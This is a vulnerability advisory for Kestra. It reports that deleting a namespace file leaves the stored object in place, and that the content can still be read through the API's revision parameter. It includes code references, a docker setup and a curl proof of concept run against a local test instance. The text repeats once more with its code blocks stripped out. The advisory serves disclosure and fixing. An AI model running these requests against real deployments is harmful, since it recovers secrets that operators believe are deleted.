Summary
Deleting a namespace file removes only its index entry. The stored object is never removed, and the same API endpoint still returns the content when a revision query parameter is supplied. Every listing reports the file as gone, so an operator who deletes a file that contained a credential is told the data is destroyed while the API continues to serve it to any authenticated caller, indefinitely.
Details
InternalNamespace.delete(Path) marks metadata rows deleted and never calls storage.delete:
core/src/main/java/io/kestra/core/storages/InternalNamespace.java:551-569
The same class already contains the correct routine. purge(NamespaceFile) marks the metadata entry deleted and then removes the object, in that order, with a comment explaining the ordering:
core/src/main/java/io/kestra/core/storages/InternalNamespace.java:225-232
purge is used by the move path at InternalNamespace.java:220. The delete path does not use it.
The read path is what makes the leftover object reachable. getFileContent rejects deleted files only on the default lookup, because findByPath(Path, Integer) passes allowDeleted=false:
core/src/main/java/io/kestra/core/storages/InternalNamespace.java:264-276
core/src/main/java/io/kestra/core/storages/InternalNamespace.java:330-332
When a revision is supplied, the lookup resolves a version row and resolveExistingRevisionUri then walks revisions downward and returns the first object that still exists on disk:
core/src/main/java/io/kestra/core/storages/InternalNamespace.java:288-306
Because no object is ever removed, that walk always succeeds for any revision the file ever had. The endpoint that exposes the parameter is:
webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:84-100
PoC
Verified against the published kestra/kestra:develop image, version 2.1.0-SNAPSHOT.
Start an instance with local storage and an H2 backend:
docker run -d --name kestra-poc -p 18090:8080 \
-e KESTRA_CONFIGURATION='kestra:
repository:
type: h2
queue:
type: h2
storage:
type: local
local:
base-path: /tmp/kestra-poc-storage
url: http://localhost:8080/' \
kestra/kestra:develop server local
Create the administrator account, then use it for the remaining calls:
curl -s -X POST http://localhost:18090/api/v1/main/basicAuth \
-H 'Content-Type: application/json' \
-d '{"username":"admin@example.test","password":"Admin12345"}'
A='admin@example.test:Admin12345'
B=http://localhost:18090
Create revision 1, then overwrite to produce revision 2:
printf 'SENSITIVE_MARKER_V1=aaaa-1111' > nsf.txt
curl -s -u "$A" -X POST "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt" -F "fileContent=@nsf.txt"
printf 'SENSITIVE_MARKER_V2=bbbb-2222' > nsf.txt
curl -s -u "$A" -X POST "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt" -F "fileContent=@nsf.txt"
Positive control, the file reads back normally before deletion:
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt"
SENSITIVE_MARKER_V2=bbbb-2222
Delete it through the product API:
curl -s -u "$A" -X DELETE "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt"
HTTP 200
Negative control, every path that would tell a user the data still exists reports it absent:
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt" -> HTTP 404
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files/directory?path=/" -> []
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files/search?q=secret" -> []
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files/revisions?path=/secret.txt" -> HTTP 404 File not found
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt&revision=2" -> HTTP 404
The deleted content is still served when revision 1 is requested:
curl -s -u "$A" "$B/api/v1/main/namespaces/lifecycle.test/files?path=/secret.txt&revision=1"
SENSITIVE_MARKER_V1=aaaa-1111
Both objects remain on disk inside the container:
docker exec kestra-poc sh -c 'find / -name "secret.txt*" -not -path "/proc/*"'
/app/data/main/lifecycle/test/_files/secret.txt
/app/data/main/lifecycle/test/_files/secret.txt.v2
Target process attribution, recorded from the container that served the requests:
container id: 6c8eb37884abb8b1f087febb95f7906081fab4e32b671af08d7b08a18a653c37
container id short: 6c8eb37884ab
host pid: 4121542
in-container pid: 1
uid: 1000 (kestra)
working directory: /app
command line: java -XX:MaxRAMPercentage=50.0 ... -jar /app/kestra server local
All requests traversed the normal HTTP stack, including AuthenticationFilter. Unauthenticated calls to the same endpoints returned HTTP 401 during the same session, which confirms the filter chain was active for this run.
Impact
Incomplete deletion leading to information disclosure. Any principal that can read namespace files can recover the content of files that were deleted at any point in the past, including files deleted specifically because they contained a secret. The product actively reports the data as gone through the file read, directory listing, search and revisions endpoints, so the exposure is invisible to an operator auditing whether a leaked credential was removed. On Enterprise Edition, where namespace access is permissioned, a user granted access to a namespace after a deletion can read content that predates their access. The stored objects also accumulate without bound, since nothing ever reclaims them.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Summary
Deleting a namespace file removes only its index entry. The stored object is never removed, and the same API endpoint still returns the content when a
revisionquery parameter is supplied. Every listing reports the file as gone, so an operator who deletes a file that contained a credential is told the data is destroyed while the API continues to serve it to any authenticated caller, indefinitely.Details
InternalNamespace.delete(Path)marks metadata rows deleted and never callsstorage.delete:core/src/main/java/io/kestra/core/storages/InternalNamespace.java:551-569The same class already contains the correct routine.
purge(NamespaceFile)marks the metadata entry deleted and then removes the object, in that order, with a comment explaining the ordering:core/src/main/java/io/kestra/core/storages/InternalNamespace.java:225-232purgeis used by the move path atInternalNamespace.java:220. The delete path does not use it.The read path is what makes the leftover object reachable.
getFileContentrejects deleted files only on the default lookup, becausefindByPath(Path, Integer)passesallowDeleted=false:core/src/main/java/io/kestra/core/storages/InternalNamespace.java:264-276core/src/main/java/io/kestra/core/storages/InternalNamespace.java:330-332When a revision is supplied, the lookup resolves a version row and
resolveExistingRevisionUrithen walks revisions downward and returns the first object that still exists on disk:core/src/main/java/io/kestra/core/storages/InternalNamespace.java:288-306Because no object is ever removed, that walk always succeeds for any revision the file ever had. The endpoint that exposes the parameter is:
webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:84-100PoC
Verified against the published
kestra/kestra:developimage, version 2.1.0-SNAPSHOT.Start an instance with local storage and an H2 backend:
Create the administrator account, then use it for the remaining calls:
Create revision 1, then overwrite to produce revision 2:
Positive control, the file reads back normally before deletion:
Delete it through the product API:
Negative control, every path that would tell a user the data still exists reports it absent:
The deleted content is still served when revision 1 is requested:
Both objects remain on disk inside the container:
Target process attribution, recorded from the container that served the requests:
All requests traversed the normal HTTP stack, including
AuthenticationFilter. Unauthenticated calls to the same endpoints returned HTTP 401 during the same session, which confirms the filter chain was active for this run.Impact
Incomplete deletion leading to information disclosure. Any principal that can read namespace files can recover the content of files that were deleted at any point in the past, including files deleted specifically because they contained a secret. The product actively reports the data as gone through the file read, directory listing, search and revisions endpoints, so the exposure is invisible to an operator auditing whether a leaked credential was removed. On Enterprise Edition, where namespace access is permissioned, a user granted access to a namespace after a deletion can read content that predates their access. The stored objects also accumulate without bound, since nothing ever reclaims them.
Credits